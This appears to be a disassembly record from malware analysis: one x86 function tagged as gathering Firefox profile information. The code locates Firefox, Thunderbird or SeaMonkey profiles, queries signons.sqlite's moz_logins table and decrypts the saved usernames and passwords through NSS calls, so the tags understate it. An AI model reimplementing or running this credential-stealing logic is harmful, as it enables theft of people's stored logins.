Function at 0x4069bd
Capabilities:
Gather firefox profile information
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x908
mov dword [ebp - 0x8d8], 0
mov dword [ebp - 0x8dc], 0
mov eax, dword [ebp + 8]
cmp eax, 2
je 0x406aaf
cmp eax, 6
je 0x406b66
cmp eax, 1
jne 0x406c19
lea eax, [ebp - 0x68]
mov dword [esp + 4], eax
mov dword [esp], str.Mozilla_Firefox
call fcn.00406789
xor eax, 1
test al, al
je 0x406a1c
mov eax, 0
jmp 0x407173
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._sMozillaFirefoxprofiles.ini
mov dword [esp + 4], 0x204
lea eax, [ebp - 0x2ac]
mov dword [esp], eax
call fcn.004099d7
mov dword [esp + 8], 0x40
lea eax, [ebp - 0xa8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x2ac]
mov dword [esp], eax
call fcn.00406520
test al, al
je 0x40715b
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
lea edx, [ebp - 0xa8]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._sMozillaFirefox_s
mov dword [esp + 4], 0x204
lea eax, [ebp - 0x2ac]
mov dword [esp], eax
call fcn.004099d7
jmp 0x406c19
lea eax, [ebp - 0x68]
mov dword [esp + 4], eax
mov dword [esp], str.Mozilla_Thunderbird
call fcn.00406789
xor eax, 1
test al, al
je 0x406ad3
mov eax, 0
jmp 0x407173
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._sThunderbirdprofiles.ini
mov dword [esp + 4], 0x204
lea eax, [ebp - 0x2ac]
mov dword [esp], eax
call fcn.004099d7
mov dword [esp + 8], 0x40
lea eax, [ebp - 0xa8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x2ac]
mov dword [esp], eax
call fcn.00406520
test al, al
je 0x40715e
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
lea edx, [ebp - 0xa8]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._sThunderbird_s
mov dword [esp + 4], 0x204
lea eax, [ebp - 0x2ac]
mov dword [esp], eax
call fcn.004099d7
jmp 0x406c19
lea eax, [ebp - 0x68]
mov dword [esp + 4], eax
mov dword [esp], str.SeaMonkey
call fcn.00406789
xor eax, 1
test al, al
je 0x406b8a
mov eax, 0
jmp 0x407173
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._sMozillaSeaMonkeyprofiles.ini
mov dword [esp + 4], 0x204
lea eax, [ebp - 0x2ac]
mov dword [esp], eax
call fcn.004099d7
mov dword [esp + 8], 0x40
lea eax, [ebp - 0xa8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x2ac]
mov dword [esp], eax
call fcn.00406520
test al, al
je 0x407161
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
lea edx, [ebp - 0xa8]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._sMozillaSeaMonkey_s
mov dword [esp + 4], 0x204
lea eax, [ebp - 0x2ac]
mov dword [esp], eax
call fcn.004099d7
nop
lea eax, [ebp - 0x2ac]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s_signons.sqlite
mov dword [esp + 4], 0x204
lea eax, [ebp - 0x4b0]
mov dword [esp], eax
call fcn.004099d7
mov eax, dword [ebp - 0x4c]
mov dword [esp + 4], str.NSS_Init
mov dword [esp], eax
call fcn.004051be
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x406c67
mov eax, 0
jmp 0x407173
mov eax, dword [ebp - 0x4c]
mov dword [esp + 4], str.PK11_GetInternalKeySlot
mov dword [esp], eax
call fcn.004051be
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x406c8d
mov eax, 0
jmp 0x407173
mov eax, dword [ebp - 0x4c]
mov dword [esp + 4], str.PK11_Authenticate
mov dword [esp], eax
call fcn.004051be
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x406cb3
mov eax, 0
jmp 0x407173
mov eax, dword [ebp - 0x4c]
mov dword [esp + 4], str.NSSBase64_DecodeBuffer
mov dword [esp], eax
call fcn.004051be
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x406cd9
mov eax, 0
jmp 0x407173
mov eax, dword [ebp - 0x4c]
mov dword [esp + 4], str.PK11SDR_Decrypt
mov dword [esp], eax
call fcn.004051be
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x406cff
mov eax, 0
jmp 0x407173
mov eax, dword [ebp - 0x4c]
mov dword [esp + 4], str.PK11_FreeSlot
mov dword [esp], eax
call fcn.004051be
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x406d25
mov eax, 0
jmp 0x407173
mov eax, dword [ebp - 0x4c]
mov dword [esp + 4], str.NSS_Shutdown
mov dword [esp], eax
call fcn.004051be
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x406d4b
mov eax, 0
jmp 0x407173
mov eax, dword [ebp - 0x64]
mov dword [esp + 4], str.sqlite3_open
mov dword [esp], eax
call fcn.004051be
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x406d71
mov eax, 0
jmp 0x407173
mov eax, dword [ebp - 0x64]
mov dword [esp + 4], str.sqlite3_close
mov dword [esp], eax
call fcn.004051be
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x406d97
mov eax, 0
jmp 0x407173
mov eax, dword [ebp - 0x64]
mov dword [esp + 4], str.sqlite3_prepare_v2
mov dword [esp], eax
call fcn.004051be
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x406dbd
mov eax, 0
jmp 0x407173
mov eax, dword [ebp - 0x64]
mov dword [esp + 4], str.sqlite3_step
mov dword [esp], eax
call fcn.004051be
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x406de3
mov eax, 0
jmp 0x407173
mov eax, dword [ebp - 0x64]
mov dword [esp + 4], str.sqlite3_column_text
mov dword [esp], eax
call fcn.004051be
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jne 0x406e09
mov eax, 0
jmp 0x407173
lea eax, [ebp - 0x8cc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x4b0]
mov dword [esp], eax
mov eax, dword [ebp - 0x2c]
call eax
test eax, eax
je 0x406e2f
mov eax, 0
jmp 0x407173
mov eax, dword [ebp - 0x8cc]
lea edx, [ebp - 0x8d4]
mov dword [esp + 0x10], edx
lea edx, [ebp - 0x8d0]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x19
mov dword [esp + 4], str.select___from_moz_logins
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
call eax
test eax, eax
jne 0x40714b
lea eax, [ebp - 0x2ac]
mov dword [esp], eax
mov eax, dword [ebp - 0x10]
call eax
test eax, eax
jne 0x40714b
mov eax, dword [ebp - 0x14]
call eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x407146
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
mov eax, dword [ebp - 0x18]
call eax
test eax, eax
jne 0x40713b
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x44], 0
mov eax, dword [ebp - 0x8d0]
mov dword [esp + 4], 1
mov dword [esp], eax
mov eax, dword [ebp - 0x3c]
call eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
je 0x407124
mov eax, dword [ebp - 0x8d0]
mov dword [esp + 4], 6
mov dword [esp], eax
mov eax, dword [ebp - 0x3c]
call eax
mov dword [esp + 8], 0x200
mov dword [esp + 4], eax
lea eax, [ebp - 0x6b0]
mov dword [esp], eax
call fcn.00409768
mov dword [ebp - 0x8b8], 0
mov dword [ebp - 0x8b4], 0
lea eax, [ebp - 0x6b0]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x6b0]
mov dword [esp + 8], eax
lea eax, [ebp - 0x8bc]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [ebp - 0x1c]
call eax
test eax, eax
je 0x40711d
mov dword [esp + 8], 0
lea eax, [ebp - 0x8c8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x8bc]
mov dword [esp], eax
mov eax, dword [ebp - 0x20]
call eax
test eax, eax
jne 0x407120
mov eax, dword [ebp - 0x8b4]
test eax, eax
je 0x407124
mov eax, dword [ebp - 0x8c0]
lea edx, [eax + 1]
mov eax, dword [ebp - 0x8c4]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x6b0]
mov dword [esp], eax
call fcn.00409768
mov eax, dword [ebp - 0x8d0]
mov dword [esp + 4], 7
mov dword [esp], eax
mov eax, dword [ebp - 0x3c]
call eax
mov dword [esp + 8], 0x200
mov dword [esp + 4], eax
lea eax, [ebp - 0x8b0]
mov dword [esp], eax
call fcn.00409768
mov dword [ebp - 0x8b8], 0
mov dword [ebp - 0x8b4], 0
lea eax, [ebp - 0x8b0]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x8b0]
mov dword [esp + 8], eax
lea eax, [ebp - 0x8bc]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [ebp - 0x1c]
call eax
mov dword [esp + 8], 0
lea eax, [ebp - 0x8c8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x8bc]
mov dword [esp], eax
mov eax, dword [ebp - 0x20]
call eax
test eax, eax
jne 0x407123
mov eax, dword [ebp - 0x8b4]
test eax, eax
je 0x407124
mov eax, dword [ebp - 0x8c0]
cmp eax, 0x1ff
ja 0x407124
mov eax, dword [ebp - 0x8c0]
lea edx, [eax + 1]
mov eax, dword [ebp - 0x8c4]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x8b0]
mov dword [esp], eax
call fcn.00409768
lea eax, [ebp - 0x8b0]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x6b0]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x48]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str._c_s_a_s_a_s_b_b_b_b
lea eax, [ebp - 0x8d8]
mov dword [esp], eax
call fcn.00409983
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0xffffffff
je 0x407124
mov dword [esp + 0x10], 1
mov eax, dword [ebp - 0x44]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x8d8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x8dc]
mov dword [esp], eax
call fcn.00409cdd
mov dword [ebp - 0x8dc], eax
mov eax, dword [ebp - 0x44]
add dword [ebp - 0xc], eax
jmp 0x407124
nop
jmp 0x407124
nop
jmp 0x407124
nop
mov eax, dword [ebp - 0x8d0]
mov dword [esp], eax
mov eax, dword [ebp - 0x38]
call eax
cmp eax, 0x64
je 0x406ec2
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
mov eax, dword [ebp - 0x24]
call eax
mov eax, dword [ebp - 0x28]
call eax
mov eax, dword [ebp - 0x8cc]
mov dword [esp], eax
mov eax, dword [ebp - 0x30]
call eax
jmp 0x407162
nop
jmp 0x407162
nop
jmp 0x407162
nop
lea eax, [ebp - 0x68]
mov dword [esp], eax
call fcn.00406755
mov eax, dword [ebp - 0x8dc]
leave
ret